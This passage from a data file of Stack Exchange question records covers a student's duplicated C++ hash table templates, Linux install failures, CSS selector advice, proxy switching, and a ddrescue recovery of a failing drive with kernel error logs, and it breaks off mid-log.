hash_iterator<K,V> begin();        hash_iterator<K,V> end();};namespace keyOnly{    template<typename K>    class HashList    {        private:            List<K> l;        public:            List_iterator<K> find(const K key) const;            // Returns an HashPair given a key if present, null if absent            void insert(const K key) const;            // Inserts a key-value pair in the HashList            void remove(const K key) const;            // Removes an element given a key            bool empty() const;            // Returns true if the list is empty, false otherwise            List_iterator<K> begin() const;            List_iterator<K> end() const;            bool finished(List_iterator<K> const p) const;    };    template<typename K>    class HashTable;    template<typename K>    class hash_iterator;    template<typename K>    bool operator ==(const hash_iterator<K> it, const hash_iterator<K> it2);    template<typename K>    bool operator !=(const hash_iterator<K> it, const hash_iterator<K> it2);    template<typename K>    class hash_iterator    {        protected:            HashTable<K>* baseTable;            int i;            List_iterator<K> it;            List_iterator<K> nextOccurrence();        public:            hash_iterator();            hash_iterator(HashTable<K>* table);            hash_iterator(const hash_iterator& it2);            friend bool operator == <>(const hash_iterator it, const hash_iterator it2);            friend bool operator != <>(const hash_iterator it, const hash_iterator it2);            hash_iterator begin();            hash_iterator end() const;            hash_iterator operator ++(); //prefix            hash_iterator operator ++( int ); //postfix            K operator *() const;    };    template<typename K>    class HashTable    {        protected:            HashList<K>* entries;            int m;  //table dimension            friend class hash_iterator<K>;        public:            HashTable();            //Default constructor            HashTable(const int capacity);            //Creates a new hash table with given dimension            ~HashTable();            //Destructor            bool contains(const K k) const;            // Returns true if the table contains k            void insert(const K key) const;            //Inserts the key-value pair into the table            void remove(const K key) const;            //Given a key, it removes the key-pair value, if present            int Hash(const long int key) const;            //Hash function    };}#include ../src/HashTable.cpp#endifand here's the code:// HashTable.cpp#ifndef HASHTABLE_CPP#define HASHTABLE_CPP#include ../include/HashTable.h#include <cmath>using namespace std;template<typename K, typename V>HashPair<K,V>::HashPair(){     key = K();    value = V();}template<typename K, typename V>HashPair<K,V>::HashPair(const K key,const V value):key(key), value(value){}template<typename K, typename V>K HashPair<K,V>::getKey() const{    return key;}// returns the keytemplate<typename K, typename V>void HashPair<K,V>::setKey(const K key){    this->key = key; }// sets the keytemplate<typename K, typename V>V HashPair<K,V>::getValue() const{    return value;}// returns the valuetemplate<typename K, typename V>void HashPair<K,V>::setValue(const V v){    this->value = value;}// sets the valuetemplate<typename K, typename V>List_iterator<HashPair<K,V>> HashList<K,V>::find(const K key) const{    bool found = false;    List_iterator<HashPair<K,V>> e(nullptr);    List_iterator<HashPair<K,V>> i = l.begin();    while(!l.finished(i) && !found)    {        if((*i).key == key)        {            e = i;            found = true;        }        i++;    }    return e;}// Returns an HashPair given a key if present, null if absenttemplate<typename K, typename V>void HashList<K,V>::insert(const K key,const V value) const{    List_iterator<HashPair<K,V>> kv = find(key);    HashPair<K,V> k(key,value);    if (kv != List_iterator<HashPair<K,V>>(nullptr))    {        l.write(kv,k);    }    else    {        l.insert(k);    }}// Inserts a key-value pair in the HashListtemplate<typename K, typename V>V HashList<K,V>::lookup(const K key) const{    List_iterator<HashPair<K,V>> kv = find(key);    V e = V();    if (kv != List_iterator<HashPair<K,V>>(nullptr))    {        e = (*kv).value;    }    return e;}// Returns a reference to an HashPair value given a key if present; null otherwisetemplate<typename K, typename V>void HashList<K,V>::remove(const K key) const{    List_iterator<HashPair<K,V>> item = find(key);    if(item != List_iterator<HashPair<K,V>>(nullptr))        l.remove(item);}template<typename K, typename V>bool HashList<K,V>::empty() const{    return l.empty();}template<typename K, typename V>List_iterator<HashPair<K,V>> HashList<K,V>::begin() const{    return l.begin();}template<typename K, typename V>List_iterator<HashPair<K,V>> HashList<K,V>::end() const{    return l.end();}template<typename K, typename V>bool HashList<K,V>::finished(List_iterator<HashPair<K,V>> const p) const{    return l.finished(p);}template<typename K, typename V>List_iterator<HashPair<K,V>> hash_iterator<K,V>::nextOccurrence(){    i++;    it = List_iterator<HashPair<K,V>>(nullptr);    while(i < baseTable->m && it == List_iterator<HashPair<K,V>>(nullptr))    {        if(baseTable->entries[i].empty())            i++;        else            it = baseTable->entries[i].begin();    }    return it;}template<typename K, typename V>hash_iterator<K,V>::hash_iterator(){    baseTable = nullptr;    i = -1;    it = List_iterator<HashPair<K,V>>(nullptr);}template<typename K, typename V>hash_iterator<K,V>::hash_iterator(HashTable<K,V>* table){    baseTable = table;    i = -1;    it = List_iterator<HashPair<K,V>>(nullptr);}template<typename K, typename V>hash_iterator<K,V>::hash_iterator(const hash_iterator& it2){    baseTable = it2.baseTable;    i = it2.i;    it = it2.it;}template<typename K, typename V>bool operator ==(const hash_iterator<K,V> it, const hash_iterator<K,V> it2){    return (it.baseTable == it2.baseTable && it.it == it2.it);}template<typename K, typename V>bool operator !=(const hash_iterator<K,V> it, const hash_iterator<K,V> it2){    return !(it == it2);}template<typename K, typename V>hash_iterator<K,V> hash_iterator<K,V>::begin(){    if(i != 0)        i = -1;    hash_iterator<K,V> ret(*this);    ret.nextOccurrence();    return ret;}template<typename K, typename V>hash_iterator<K,V> hash_iterator<K,V>::end(){    hash_iterator<K,V> ret(*this);    ret.i = baseTable->m;    ret.it = List_iterator<HashPair<K,V>>(nullptr);    return ret;}template<typename K, typename V>hash_iterator<K,V> hash_iterator<K,V>::operator ++() //prefix{    it++;    if (baseTable->entries[i].finished(it))    {        it = nextOccurrence();    }    return *this;}template<typename K, typename V>hash_iterator<K,V> hash_iterator<K,V>::operator ++( int ) //postfix{    hash_iterator<K,V> oldit(*this);    ++(*this);    return oldit;}template<typename K, typename V>HashPair<K,V> hash_iterator<K,V>::operator *() const{    return *it;}template<typename K, typename V>HashTable<K,V>::HashTable(const int capacity){    entries = new HashList<K,V> [capacity];    m = capacity;}//Creates a new hash table with given dimensiontemplate<typename K, typename V>HashTable<K,V>::~HashTable(){    delete [] entries;}//Destructortemplate<typename K, typename V>V HashTable<K,V>::lookup(const K k) const{    int i = Hash(hash<K>()(k));    V value = V();    if (!entries[i].empty())        value = entries[i].lookup(k);    return value;}//returns the value being searched if present, nil otherwisetemplate<typename K,typename V>bool HashTable<K,V>::contains(const K k) const{    int i = Hash(hash<K>()(k));    if(entries[i].empty())        return false;    else    {        if(entries[i].find(k) == List_iterator<HashPair<K,V>>(nullptr))            return false;        else            return true;    }}//template<typename K,typename V>V HashTable<K,V>::operator [](const K k) const{    return lookup(k);}template<typename K, typename V>void HashTable<K,V>::insert(const K key,const V value) const{    int i = Hash(hash<K>()(key));    entries[i].insert(key,value);}//Inserts the key-value pair into the tabletemplate<typename K, typename V>void HashTable<K,V>::remove(const K key) const{    int k = Hash(hash<K>()(key));       if (!entries[k].empty())        entries[k].remove(key);}//Given a key, it removes the key-pair value, if presenttemplate<typename K, typename V>int HashTable<K,V>::Hash(const long int key) const{    return abs(key) % m;}//Hash functiontemplate<typename K, typename V>hash_iterator<K,V> HashTable<K,V>::begin(){    hash_iterator<K,V> ret(this);    return ret.begin();}template<typename K, typename V>hash_iterator<K,V> HashTable<K,V>::end(){    hash_iterator<K,V> ret(this);    return ret.end();}namespace keyOnly{    template<typename K>    List_iterator<K> HashList<K>::find(const K key) const    {        bool found = false;        List_iterator<K> e = List_iterator<K>(nullptr);        if(!l.empty())        {            List_iterator<K> i = l.begin();            while(!l.finished(i) && !found)            {                if(*i == key)                {                    e = i;                    found = true;                }                i++;            }        }        return e;    }    // Returns an HashPair given a key if present, null if absent    template<typename K>    void HashList<K>::insert(const K key) const    {        List_iterator<K> k = find(key);        if (k == List_iterator<K>(nullptr))        {            l.insert(key);        }        else        {            l.write(k,key);        }    }    // Inserts a key-value pair in the HashList    /*    template<typename K>    K HashList<K>::lookup(K key)    {        List_iterator<K> k = find(key);        K e;        if (k != List_iterator<K>(nullptr))            e = *k;        return e;    }    // Returns a reference to an HashPair value given a key if present; null otherwise*/    template<typename K>    void HashList<K>::remove(const K key) const    {        List_iterator<K> item = find(key);        if(item != List_iterator<K>(nullptr))            l.remove(item);    }    template<typename K>    bool HashList<K>::empty() const    {        return l.empty();    }    template<typename K>    List_iterator<K> HashList<K>::begin() const    {        return l.begin();    }    template<typename K>    List_iterator<K> HashList<K>::end() const    {        return l.end();    }    template<typename K>    bool HashList<K>::finished(const List_iterator<K> p) const    {        return l.finished(p);    }    template<typename K>    List_iterator<K> hash_iterator<K>::nextOccurrence()    {        i++;        it = List_iterator<K>(nullptr);        while(i < baseTable->m && it == List_iterator<K>(nullptr))        {            if(baseTable->entries[i].empty())                i++;            else                it = baseTable->entries[i].begin();        }        return it;    }    template<typename K>    hash_iterator<K>::hash_iterator()    {        baseTable = nullptr;        i = -1;        it = List_iterator<K>(nullptr);    }    template<typename K>    hash_iterator<K>::hash_iterator(HashTable<K>* table)    {        baseTable = table;        i = -1;        it = List_iterator<K>(nullptr);    }    template<typename K>    hash_iterator<K>::hash_iterator(const hash_iterator& it2)    {        baseTable = it2.baseTable;        i = it2.i;        it = it2.it;    }    template<typename K>    bool operator ==(const hash_iterator<K> it, const hash_iterator<K> it2)    {        return (it.baseTable == it2.baseTable && it.it == it2.it);    }    template<typename K>    bool operator !=(const hash_iterator<K> it, const hash_iterator<K> it2)    {        return !(it == it2);    }    template<typename K>    hash_iterator<K> hash_iterator<K>::begin()    {        if(i != 0)            i = -1;        hash_iterator<K> ret(*this);        ret.nextOccurrence();        return ret;    }    template<typename K>    hash_iterator<K> hash_iterator<K>::end() const    {        hash_iterator<K> ret(*this);        ret.i = baseTable->m;        ret.it = List_iterator<K>(nullptr);        return ret;    }    template<typename K>    hash_iterator<K> hash_iterator<K>::operator ++() //prefix    {        it++;        if (baseTable->entries[i].finished(it))        {            it = nextOccurrence();        }        return *this;    }    template<typename K>    hash_iterator<K> hash_iterator<K>::operator ++( int ) //postfix    {        hash_iterator<K> oldit(*this);        ++(*this);        return oldit;    }    template<typename K>    K hash_iterator<K>::operator *() const    {        return *it;    }    template<typename K>    HashTable<K>::HashTable(const int capacity)    {        entries = new HashList<K> [capacity];        m = capacity;    }    //Creates a new hash table with given dimension    template<typename K>    HashTable<K>::~HashTable()    {        delete [] entries;    }    //Destructor    template<typename K>    HashTable<K>::HashTable()    {        entries = nullptr;        m = -1;    }    /*    template<typename K>    K HashTable<K>::lookup(K k)    {        K key = K();        int i = Hash(hash<K>()(k));        if (!entries[i].empty())            key = entries[i].lookup(k);        return key;    }    //returns the value being searched if present, nil otherwise    */    template<typename K>    bool HashTable<K>::contains(const K k) const    {        int i = Hash(hash<K>()(k));        if(entries[i].empty())            return false;        else        {            if(entries[i].find(k) == List_iterator<K>(nullptr))                return false;            else                return true;        }    }    template<typename K>    void HashTable<K>::insert(const K key) const    {        int i = Hash(hash<K>()(key));        entries[i].insert(key);    }    //Inserts the key-value pair into the table    template<typename K>    void HashTable<K>::remove(const K key) const    {        int k = Hash(hash<K>()(key));           if (!entries[k].empty())            entries[k].remove(key);    }    //Given a key, it removes the key-pair value, if present    template<typename K>    int HashTable<K>::Hash(const long int key) const    {        return abs(key) % m;    }    //Hash function}#endifIt works mostly fine, but I have one big problem with this code: the quantity of repeated code. As you can see, there are two versions of the HashTable, one that stores key-value pairs and requires two template arguments and one that stores only the key and requires only one. I use the latter to implement a Set that uses a HashTable to store the elements (I don't need to store a key-value pair in this case). I wonder if there is a way to handle the template arguments in C++ without having to handle the two cases separately, as a lot of code is practically the same in both cases. I've looked into variadic template arguments, but they don't seem to be what I need.What I would like to do is, for example, in the insert function to be able to tell if the user used one or two template arguments, and, in the first case, I would insert a key-value pair in the HashTable, in the second case just a key. I don't know if it's even possible in C++, at least my searches have not been conclusive.Other than that, any advice on the code that doesn't have to do with this problem is very well appreciated, especially in the coding style.Yeah, I know there are std::unordered_map and std::unordered_set that do exactly what I need. I would really like to use them, but for now I can't. I'm working on a project for uni where if I need any data structure I have to write it myself, otherwise I would be using the STL any day. Also, the List data structure used in the code has been written by me as well, you can find it, together with other data structures written by me on my GitHub page."  , "title": "HashTable implementation using bucket lists"  , "tags": "c++;template;hash table"  } 
{  "id": "_unix.277457"  , "question": "I'm tying to install a fresh Ubuntu 15.10 distro on my laptop. I boot my pc from the usb with the Ubuntu installer, On the GRUB menu, I select test without install, but when it reachs the screen where yo can read Ubuntu with the moving point below:It gets freeze and nothing happens.My laptop is a Mountain Iridium with an Intel Core i7 6700HQ, M.2 240GB SSD and a 1TB HDD, RAM 16GB DDR4 2133MHz and Nvidia GTX970M 3GB GDDR5Edit:I managed to install Ubuntu 16.04, but problems still happens.When installation ends and a windows prompts you to select keep testing or reboot, I select restart and the pc hangs, I have to long press on the power botton to reboot. Once rebooted it gets the log in screen, I introduce my password, and... surprise the computers hangs, again.Edit 2:Trying to install Ubuntu 16.04 again, I get this error message The pc hangs and I can't install anything"  , "title": "Unable to install Ubuntu"  , "tags": "ubuntu;system installation"  } 
{  "id": "_softwareengineering.266302"  , "question": "I've been learning HTML5/CSS3 for a month now, and I've built my first demo website. At first I was using a lot of the element selectors like: >, ,, + in combination with the type names for selecting nested tags.Now I've moved more to the id and class selectors and use the >, ,, + less often for selecting nested tags. Is using id and class selectors a better approach for selecting tags which are (deeply) nested? Are there any downsides to this approach? Or is it just a matter of style?"  , "title": "CSS: When to use which selector"  , "tags": "css"  , "accepted_answer": "This is not only a matter of style. It is a matter of performance and maintainability. Anecdotally, some selectors are difficult to implement efficiently for browsers. For example, the general sibling selector A ~ B or the descendant selector A B. And of course the universal selector *. Unless actually needed, these should be avoided. The thing that is really fast is using class names or IDs. The comma A, B  is not considered a selector.When you start out with CSS, you might be tempted to write something like ul.#steps > li.item-without-bullet. That is not good for various reasons:Do not use IDs in selectors, because any ID can only be used once in a document. This prevents you from re-using the styling.Avoid element names in selectors. HTML is meant to be used as semantic markup that highlights what each element means. This should be kept mostly separate from the styling. You will still want to style elements directly (e.g. using a different font only for headings, or setting the line height for paragraphs). That is OK, and I wouldn't use classes for that (yuck), but you shouldn't refer to the element names when styling something special such as a nav bar, or an image carousel, or a pull quote, or .Avoid ID and class names that focus too much on what text effect they provide (you might as well use inline style attributes), and instead use class names as custom elements or element modifiers, as a way to add your own semantics. A class such as red-text is not as semantic as error--fatal.Avoid the descendant selector A B  and the child selector A > B. You can usually encode the necessary information through your class names, e.g. steps  and steps__step. You can trust that whoever is applying the classes to the HTML structure will respect proper nesting, given sufficiently self-documenting class names.Seriously consider a strict naming scheme such as BEM (Block Element Modifier). Yes, it's incredible overkill, but using the BEM naming scheme can help you to properly structure your CSS. It exclusively uses class names, and does not generally use selectors."  } 
{  "id": "_unix.289023"  , "question": "I have an HTTP and HTTPS proxy at my work. Though when I work from home (on the laptop from work) I would like to disable the proxy settings (connect directly to the Internet). Then, when I come back to work, bring back the proxy settings.The problem is, only a few application recognize the system-wide proxy settings (set using the Linux Mint's network manager and through HTTPS_PROXY and HTTP_PROXY environment variables). For many other applications (IntelliJ, SBT, Maven, Synaptic, apt-get, git) I had to set them manually and editing the settings for each of them every time is tedious.I could probably write a script or something that would edit settings files of all those applications, but I think it's error-prone (I could corrupt the files) and not really the easiest solution. What I thought about is intercepting the outgoing packets sent to the proxy, repackaging them somehow and sending them directly to the Internet. Would it be possible to do that using an iptables rule or something similar? I'm not really an expert when it comes to networks, proxies, etc. so I'm not even sure if it's doable, not to mention constructing the rule myself. Would be grateful for your help!"  , "title": "Temporarily ignore/bypass proxy settings using iptables when WFH"  , "tags": "iptables;proxy"  , "accepted_answer": "You could install a proxy on your laptop and configure all your apps to use it (on localhost).  Then you could change the local proxy's config to either use a parent proxy or not, depending on your location.Tinyproxy is probably ideal for this task.  Here's the description from the Debian package of it:Package: tinyproxyVersion: 1.8.3-3+b1Installed-Size: 145Description-en: A lightweight, non-caching, optionally anonymizing HTTP proxy An anonymizing HTTP proxy which is very light on system resources, ideal for smaller networks and similar situations where other proxies (such as Squid) may be overkill and/or a security risk. Tinyproxy can also be configured to anonymize HTTP requests (allowing for exceptions on a per-header basis).Homepage: https://banu.com/tinyproxy/"  } 
{  "id": "_webapps.108401"  , "question": "I unarchived my list but check list no longer displays - despite on list view it indicates checklist with 0/4 being displayed"  , "title": "In trello, ive unarchived my list but check list no longer displays"  , "tags": "trello"  } 
{  "id": "_softwareengineering.169908"  , "question": "I'm re-working on the design of an existing application which is build using WebForms. Currently the plan is to work it into a MVP pattern application while using Ninject as the IoC container.The reason for Ninject to be there is that the boss had wanted a certain flexibility within the system so that we can build in different flavor of business logic in the model and let the programmer to choose which to use based on the client request, either via XML configuration or database setting.I know that Ninject have no need for XML configuration, however I'm confused on how it can help to dynamically inject the dependency into the system?Imagine I have a interface IMember and I need to bind this interface to the class decided by a xml or database configuration at the launch of the application, how can I achieve that?"  , "title": "How can I bind an interface to a class decided by an xml or database configuration at the launch of the application?"  , "tags": "design patterns;webforms;ninject"  } 
{  "id": "_webmaster.101412"  , "question": "I have created a web site on the Google platform: ...sites.google.com/site/golfshotpilot/ Furthermore I have made all administrational steps to get the site's analytics. In this context I got a Tracking ID. The tracking works. I get the reports and statistics. (Evidences below). However when I use the Google Webmaster Tool, the system will not verify my account for my own website. I have tried the verification based on the uploaded HTML file. It did not work. Then I tried to apply the authentication via my Tracking ID of the Analytics Tool. This did not work either. The error message is: The Google Analytics tracking code on your site looks malformed. How can this be when the tracking id is obviously OK?Any ideas for help?Error messageDefinition about the Analytics in the site management settings. (here was a hardcopy but I can insert only two )Statistic result OK:(here was a hardcopy but I can insert only two )Evidence that the code is existing in the web sites source data: Any help would be appreciated."  , "title": "Cannot get a Google Site verified despite a valid Analytics Tracking ID"  , "tags": "google analytics;google search console"  } 
{  "id": "_unix.358362"  , "question": "I am trying to install linux mint, but i keep running into problems.I put the mint iso on my USB using rufus, and then select that usb in boot menu.But then, it only shows option to start linux mint - no install option.(First option is same as 2nd one, but without the Compatibility mode)So I click on start linux mint option, and that then loads the terminal, expecting me to enter the login details.I also tried installing Solus before Mint, and got the same issues. Any idea?"  , "title": "Cant install linux Mint 18.1 KDE"  , "tags": "linux mint"  } 
{  "id": "_unix.203426"  , "question": "How would I print the last 3 lines that have the string #include from tester.c and if fewer than 3 lines contain the string, print the entire file.So far I have:grep #include tester.c | tail -3But I can't figure out how to include the second half of the requirement. This is homework and the solution must be a single line with no ; which is why I can't seem to figure it out."  , "title": "Grep 2 different requirements in one command line statement"  , "tags": "grep"  } 
{  "id": "_unix.136945"  , "question": "I have been trying to recover data from a Seagate 7200.11 1.5TB drive (2 ext4 partitions_ for 3 days now, predominantly with ddrescue and testdisk, but because of some critical error on the disk (probably SA damage or something similar?), it gets dropped off /dev when the system accesses some specific sector(s). The closest I have come, I think, is with ddrescue. But the image it created was incomplete and I could not mount it as it gave bad geometry: block count xxx exceeds size of device.. error among others. Last night I again fired up ddrescue, this time on the second partition, and after waiting for 3 hours, went to sleep. At that time, it had copied ~150GB from the ~700GB partition. Command used:ddrescue -n -v -T 30 --skip-size=1M,10M --min-read-rate=50k /dev/sdc2 /media/rescue/Drive2.img /media/rescue/Drive2.logI was pretty disappointed when I woke up and saw that the drive had disappeared from /dev/ and consequently ddrescue showed error size in 200GB+ range. The /var/log/messages contained repeating lines :2014-06-13T10:54:08.526490+05:00 suse kernel: [ 6693.096125] Read(10): 28 00 5a 79 55 88 00 00 08 002014-06-13T10:54:08.526491+05:00 suse kernel: [ 6693.096174] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T10:54:08.526491+05:00 suse kernel: [ 6693.096176] sd 2:0:0:0: [sdc]  2014-06-13T10:54:08.526492+05:00 suse kernel: [ 6693.096176] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T10:54:08.526493+05:00 suse kernel: [ 6693.096177] sd 2:0:0:0: [sdc] CDB: 2014-06-13T10:54:08.526494+05:00 suse kernel: [ 6693.096178] Read(10): 28 00 5a 79 4d e8 00 00 08 002014-06-13T10:54:08.526494+05:00 suse kernel: [ 6693.096226] sd 2:0:0:0: [sdc] Unhandled error codeand these around the time it disappeared from /dev (I think):2014-06-13T07:34:30.290574+05:00 suse kernel: [ 6743.832817] ata3: EH complete2014-06-13T07:34:33.892459+05:00 suse kernel: [ 6747.432198] ata3.00: exception Emask 0x0 SAct 0x1 SErr 0x0 action 0x02014-06-13T07:34:33.892486+05:00 suse kernel: [ 6747.432203] ata3.00: irq_stat 0x400000082014-06-13T07:34:33.892489+05:00 suse kernel: [ 6747.432206] ata3.00: failed command: READ FPDMA QUEUED2014-06-13T07:34:33.892502+05:00 suse kernel: [ 6747.432212] ata3.00: cmd 60/08:00:10:50:08/00:00:5c:00:00/40 tag 0 ncq 4096 in2014-06-13T07:34:33.892511+05:00 suse kernel: [ 6747.432212]          res 41/40:08:17:50:08/00:00:5c:00:00/00 Emask 0x409 (media error) <F>2014-06-13T07:34:33.892517+05:00 suse kernel: [ 6747.432215] ata3.00: status: { DRDY ERR }2014-06-13T07:34:33.892519+05:00 suse kernel: [ 6747.432217] ata3.00: error: { UNC }2014-06-13T07:34:34.003455+05:00 suse kernel: [ 6747.543056] ata3.00: configured for UDMA/1332014-06-13T07:34:34.003476+05:00 suse kernel: [ 6747.543074] sd 2:0:0:0: [sdc] Unhandled sense code2014-06-13T07:34:34.003480+05:00 suse kernel: [ 6747.543076] sd 2:0:0:0: [sdc]  2014-06-13T07:34:34.003483+05:00 suse kernel: [ 6747.543078] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE2014-06-13T07:34:34.003486+05:00 suse kernel: [ 6747.543080] sd 2:0:0:0: [sdc]  2014-06-13T07:34:34.003488+05:00 suse kernel: [ 6747.543082] Sense Key : Medium Error [current] [descriptor]2014-06-13T07:34:34.003491+05:00 suse kernel: [ 6747.543085] Descriptor sense data with sense descriptors (in hex):2014-06-13T07:34:34.003502+05:00 suse kernel: [ 6747.543086]         72 03 11 04 00 00 00 0c 00 0a 80 00 00 00 00 00 2014-06-13T07:34:34.003503+05:00 suse kernel: [ 6747.543095]         5c 08 50 17 2014-06-13T07:34:34.003504+05:00 suse kernel: [ 6747.543099] sd 2:0:0:0: [sdc]  2014-06-13T07:34:34.003505+05:00 suse kernel: [ 6747.543110] Add. Sense: Unrecovered read error - auto reallocate failed2014-06-13T07:34:34.003505+05:00 suse kernel: [ 6747.543111] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:34:34.003506+05:00 suse kernel: [ 6747.543112] Read(10): 28 00 5c 08 50 10 00 00 08 002014-06-13T07:34:34.003507+05:00 suse kernel: [ 6747.543116] end_request: I/O error, dev sdc, sector 15440486632014-06-13T07:34:34.003508+05:00 suse kernel: [ 6747.543118] Buffer I/O error on device sdc2, logical block 32704022014-06-13T07:34:34.003509+05:00 suse kernel: [ 6747.543127] ata3: EH complete2014-06-13T07:34:36.758454+05:00 suse kernel: [ 6750.295735] ata3.00: exception Emask 0x0 SAct 0x1 SErr 0x0 action 0x02014-06-13T07:34:36.758484+05:00 suse kernel: [ 6750.295740] ata3.00: irq_stat 0x400000082014-06-13T07:34:36.758488+05:00 suse kernel: [ 6750.295743] ata3.00: failed command: READ FPDMA QUEUED2014-06-13T07:34:36.758492+05:00 suse kernel: [ 6750.295750] ata3.00: cmd 60/08:00:10:50:08/00:00:5c:00:00/40 tag 0 ncq 4096 in2014-06-13T07:34:36.758496+05:00 suse kernel: [ 6750.295750]          res 41/40:08:17:50:08/00:00:5c:00:00/00 Emask 0x409 (media error) <F>2014-06-13T07:34:36.758499+05:00 suse kernel: [ 6750.295752] ata3.00: status: { DRDY ERR }2014-06-13T07:34:36.758502+05:00 suse kernel: [ 6750.295754] ata3.00: error: { UNC }2014-06-13T07:34:36.932467+05:00 suse kernel: [ 6750.469333] ata3.00: configured for UDMA/1332014-06-13T07:34:36.932495+05:00 suse kernel: [ 6750.469351] sd 2:0:0:0: [sdc] Unhandled sense code2014-06-13T07:34:36.932501+05:00 suse kernel: [ 6750.469354] sd 2:0:0:0: [sdc]  2014-06-13T07:34:36.932504+05:00 suse kernel: [ 6750.469355] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE2014-06-13T07:34:36.932507+05:00 suse kernel: [ 6750.469357] sd 2:0:0:0: [sdc]  2014-06-13T07:34:36.932510+05:00 suse kernel: [ 6750.469359] Sense Key : Medium Error [current] [descriptor]2014-06-13T07:34:36.932514+05:00 suse kernel: [ 6750.469362] Descriptor sense data with sense descriptors (in hex):2014-06-13T07:34:36.932534+05:00 suse kernel: [ 6750.469364]         72 03 11 04 00 00 00 0c 00 0a 80 00 00 00 00 00 2014-06-13T07:34:36.932546+05:00 suse kernel: [ 6750.469372]         5c 08 50 17 2014-06-13T07:34:36.932551+05:00 suse kernel: [ 6750.469376] sd 2:0:0:0: [sdc]  2014-06-13T07:34:36.932556+05:00 suse kernel: [ 6750.469379] Add. Sense: Unrecovered read error - auto reallocate failed2014-06-13T07:34:36.932560+05:00 suse kernel: [ 6750.469381] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:34:36.932564+05:00 suse kernel: [ 6750.469382] Read(10): 28 00 5c 08 50 10 00 00 08 002014-06-13T07:34:36.932567+05:00 suse kernel: [ 6750.469390] end_request: I/O error, dev sdc, sector 15440486632014-06-13T07:34:36.932572+05:00 suse kernel: [ 6750.469394] Buffer I/O error on device sdc2, logical block 32704022014-06-13T07:34:36.932576+05:00 suse kernel: [ 6750.469420] ata3: EH complete2014-06-13T07:36:15.441806+05:00 suse su: (to root) procyon on /dev/pts/52014-06-13T07:53:20.731456+05:00 suse kernel: [ 7873.286421] ata3: failed to read log page 10h (errno=-5)2014-06-13T07:53:20.731483+05:00 suse kernel: [ 7873.286429] ata3.00: exception Emask 0x1 SAct 0x1 SErr 0x0 action 0x02014-06-13T07:53:20.731487+05:00 suse kernel: [ 7873.286431] ata3.00: irq_stat 0x400000082014-06-13T07:53:20.731488+05:00 suse kernel: [ 7873.286434] ata3.00: failed command: READ FPDMA QUEUED2014-06-13T07:53:20.731490+05:00 suse kernel: [ 7873.286440] ata3.00: cmd 60/08:00:10:59:6d/00:00:60:00:00/40 tag 0 ncq 4096 in2014-06-13T07:53:20.731493+05:00 suse kernel: [ 7873.286440]          res 40/00:00:10:59:6d/00:00:60:00:00/40 Emask 0x1 (device error)2014-06-13T07:53:20.731495+05:00 suse kernel: [ 7873.286443] ata3.00: status: { DRDY }2014-06-13T07:53:20.740442+05:00 suse kernel: [ 7873.296009] ata3.00: both IDENTIFYs aborted, assuming NODEV2014-06-13T07:53:20.740462+05:00 suse kernel: [ 7873.296013] ata3.00: revalidation failed (errno=-2)2014-06-13T07:53:20.740464+05:00 suse kernel: [ 7873.296018] ata3: hard resetting link2014-06-13T07:53:21.045453+05:00 suse kernel: [ 7873.599792] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)2014-06-13T07:53:21.065444+05:00 suse kernel: [ 7873.620355] ata3.00: both IDENTIFYs aborted, assuming NODEV2014-06-13T07:53:21.065467+05:00 suse kernel: [ 7873.620359] ata3.00: revalidation failed (errno=-2)2014-06-13T07:53:26.045451+05:00 suse kernel: [ 7878.595494] ata3: hard resetting link2014-06-13T07:53:26.350457+05:00 suse kernel: [ 7878.900156] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)2014-06-13T07:53:26.395504+05:00 suse kernel: [ 7878.945713] ata3.00: both IDENTIFYs aborted, assuming NODEV2014-06-13T07:53:26.395516+05:00 suse kernel: [ 7878.945717] ata3.00: revalidation failed (errno=-2)2014-06-13T07:53:26.395518+05:00 suse kernel: [ 7878.945719] ata3.00: disabled2014-06-13T07:53:26.395520+05:00 suse kernel: [ 7878.945752] ata3: EH complete2014-06-13T07:53:26.395522+05:00 suse kernel: [ 7878.945774] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395523+05:00 suse kernel: [ 7878.945775] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395525+05:00 suse kernel: [ 7878.945776] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395528+05:00 suse kernel: [ 7878.945777] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395529+05:00 suse kernel: [ 7878.945778] Read(10): 28 00 60 6d 59 10 00 00 08 002014-06-13T07:53:26.395531+05:00 suse kernel: [ 7878.945782] end_request: I/O error, dev sdc, sector 16177789602014-06-13T07:53:26.395532+05:00 suse kernel: [ 7878.945784] Buffer I/O error on device sdc2, logical block 124866902014-06-13T07:53:26.395534+05:00 suse kernel: [ 7878.945863] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395535+05:00 suse kernel: [ 7878.945868] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395537+05:00 suse kernel: [ 7878.945869] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395538+05:00 suse kernel: [ 7878.945872] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395540+05:00 suse kernel: [ 7878.945873] Read(10): 28 00 60 6d 59 10 00 00 08 002014-06-13T07:53:26.395541+05:00 suse kernel: [ 7878.945882] end_request: I/O error, dev sdc, sector 16177789602014-06-13T07:53:26.395543+05:00 suse kernel: [ 7878.945885] Buffer I/O error on device sdc2, logical block 124866902014-06-13T07:53:26.395544+05:00 suse kernel: [ 7878.945997] sd 2:0:0:0: [sdc] Unhandled error code2014-06-13T07:53:26.395546+05:00 suse kernel: [ 7878.946000] sd 2:0:0:0: [sdc]  2014-06-13T07:53:26.395547+05:00 suse kernel: [ 7878.946002] Result: hostbyte=DID_BAD_TARGET driverbyte=DRIVER_OK2014-06-13T07:53:26.395548+05:00 suse kernel: [ 7878.946004] sd 2:0:0:0: [sdc] CDB: 2014-06-13T07:53:26.395550+05:00 suse kernel: [ 7878.946005] Read(10): 28 00 60 6d 59 80 00 00 08 002014-06-13T07:53:26.395551+05:00 suse kernel: [ 7878.946012] end_request: I/O error, dev sdc, sector 